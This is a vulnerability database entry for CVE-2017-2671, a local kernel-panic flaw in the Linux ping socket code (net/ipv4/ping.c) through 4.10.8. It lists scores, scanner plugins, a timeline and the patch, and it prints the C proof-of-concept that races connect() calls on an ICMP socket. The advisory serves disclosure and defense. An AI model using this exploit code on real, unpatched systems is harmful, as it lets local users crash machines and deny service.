Linux Kernel up to 4.10.8 net/ipv4/ping.c disconnect Panic access control

CVSS Meta Temp Score
CVSS is a standardized scoring system to determine possibilities of attacks. The Temp Score considers temporal factors like disclosure, exploit and countermeasures. The unique Meta Score calculates the average score of different sources to provide a normalized scoring system.
Current Exploit Price (≈)
Our analysts are monitoring exploit markets and are in contact with vulnerability brokers. The range indicates the observed or calculated exploit price to be seen on exploit markets. A good indicator to understand the monetary effort required for and the popularity of an attack.
CTI Interest Score
Our Cyber Threat Intelligence team is monitoring different web sites, mailing lists, exploit markets and social media networks. The CTI Interest Score identifies the interest of attackers and the security community for this specific vulnerability in real-time. A high score indicates an elevated risk to be targeted for this vulnerability.
4.3$0-$5k0.00

Summaryinfo

A vulnerability was found in Linux Kernel up to 4.10.8 and classified as problematic. Affected by this issue is the function disconnect of the file net/ipv4/ping.c. Such manipulation leads to access control (Panic). This vulnerability is referenced as CVE-2017-2671. The attack can only be performed from a local environment. Furthermore, an exploit is available. Applying a patch is advised to resolve this issue.

Detailsinfo

A vulnerability was found in Linux Kernel up to 4.10.8 (Operating System) and classified as problematic. Affected by this issue is the function disconnect of the file net/ipv4/ping.c. The manipulation with an unknown input leads to a access control vulnerability (Panic). Using CWE to declare the problem leads to CWE-284. The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. Impacted is availability. CVE summarizes:

The ping_unhash function in net/ipv4/ping.c in the Linux kernel through 4.10.8 is too late in obtaining a certain lock and consequently cannot ensure that disconnect function calls are safe, which allows local users to cause a denial of service (panic) by leveraging access to the protocol value of IPPROTO_ICMP in a socket system call.

The bug was discovered 04/04/2017. The weakness was published 04/05/2017 by Alex (oss-sec). The advisory is shared for download at openwall.com. This vulnerability is handled as CVE-2017-2671 since 12/01/2016. The attack needs to be approached locally. A simple authentication is needed for exploitation. Technical details as well as a public exploit are known. The MITRE ATT&CK project declares the attack technique as T1068.

A public exploit has been developed by Daniel Jiang in ANSI C and been published 3 months after the advisory. The exploit is available at exploit-db.com. It is declared as highly functional. The vulnerability was handled as a non-public zero-day exploit for at least 1 days. During that time the estimated underground price was around $0-$5k. The vulnerability scanner Nessus provides a plugin with the ID 99407 (Fedora 25 : kernel (2017-3a9ec92dd6)), which helps to determine the existence of the flaw in a target environment. It is assigned to the family Fedora Local Security Checks and running in the context l. The commercial vulnerability scanner Qualys is able to test this issue with plugin 276587 (Fedora Security Update for kernel (FEDORA-2017-3a9ec92dd6)). The code used by the exploit is:

void fuzz(void * param){
    while(1){
        addr.sin_family = 0;//rand()%42;
        printf("sin_family1 = %08lx\n", addr.sin_family);
        connect(sockfd, (struct sockaddr *)&addr, 16); 
    }
}

int main(int argc, char **argv)
{
    sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
    int thrd;
    pthread_create(&thrd, NULL, fuzz, NULL);
    while(1){
        addr.sin_family = 0x1a;//rand()%42;
        addr.sin_port = 0;
        addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
        connect(sockfd, (struct sockaddr *)&addr, 16);
        addr.sin_family = 0;
    }
    return 0;
}

Applying a patch is able to eliminate this problem. The bugfix is ready for download at git.kernel.org. A possible mitigation has been published 2 weeks after the disclosure of the vulnerability.

The vulnerability is also documented in the databases at Exploit-DB (42135), Tenable (99407) and SecurityFocus (BID 97407†). Similar entry is available at VDB-98332. If you want to get best quality of vulnerability data, you may have to visit VulDB.

Productinfo

Type

Vendor

Name

Version

License

Website

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 4.4
VulDB Meta Temp Score: 4.3

VulDB Base Score: 3.3
VulDB Temp Score: 3.2
VulDB Vector: 🔍
VulDB Reliability: 🔍

NVD Base Score: 5.5
NVD Vector: 🔍

CVSSv2info

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VectorComplexityAuthenticationConfidentialityIntegrityAvailability
UnlockUnlockUnlockUnlockUnlockUnlock
UnlockUnlockUnlockUnlockUnlockUnlock
UnlockUnlockUnlockUnlockUnlockUnlock

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Name: Panic
Class: Access control / Panic
CWE: CWE-284 / CWE-266
CAPEC: 🔍
ATT&CK: 🔍

Physical: Partially
Local: Yes
Remote: No

Availability: 🔍
Access: Public
Status: Highly functional
Author: Daniel Jiang
Programming Language: 🔍
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

0-DayUnlockUnlockUnlockUnlock
TodayUnlockUnlockUnlockUnlock

Nessus ID: 99407
Nessus Name: Fedora 25 : kernel (2017-3a9ec92dd6)
Nessus File: 🔍
Nessus Risk: 🔍
Nessus Family: 🔍
Nessus Context: 🔍

OpenVAS ID: 867773
OpenVAS Name: Fedora Update for kernel FEDORA-2017-502cf68d68
OpenVAS File: 🔍
OpenVAS Family: 🔍

Qualys ID: 🔍
Qualys Name: 🔍

Exploit-DB: 🔍

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: Patch
Status: 🔍

Reaction Time: 🔍
0-Day Time: 🔍
Exposure Time: 🔍
Exploit Delay Time: 🔍

Patch: git.kernel.org

Timelineinfo

12/01/2016 🔍
04/04/2017 +124 days 🔍
04/04/2017 +0 days 🔍
04/05/2017 +1 days 🔍
04/05/2017 +0 days 🔍
04/06/2017 +1 days 🔍
04/14/2017 +8 days 🔍
04/17/2017 +3 days 🔍
06/07/2017 +51 days 🔍
06/07/2017 +0 days 🔍
06/08/2024 +2558 days 🔍

Sourcesinfo

Vendor: kernel.org

Advisory: FEDORA-2017-3a9ec92dd6
Researcher: Alex
Status: Confirmed
Confirmation: 🔍

CVE: CVE-2017-2671 (🔍)
GCVE (CVE): GCVE-0-2017-2671
GCVE (VulDB): GCVE-100-99320
SecurityFocus: 97407 - Linux kernel CVE-2017-2671 Local Denial of Service Vulnerability

scip Labs: https://www.scip.ch/en/?labs.20161013
See also: 🔍

Entryinfo

Created: 04/06/2017 09:22
Updated: 06/08/2024 18:20
Changes: 04/06/2017 09:22 (91), 10/16/2019 09:51 (5), 11/27/2022 08:45 (4), 11/27/2022 08:47 (1), 06/08/2024 18:20 (14)
Complete: 🔍
Cache ID: 216:E9C:103

Discussion

No comments yet. Languages: en.

Please log in to comment.

Do you know our Splunk app?

Download it now for free!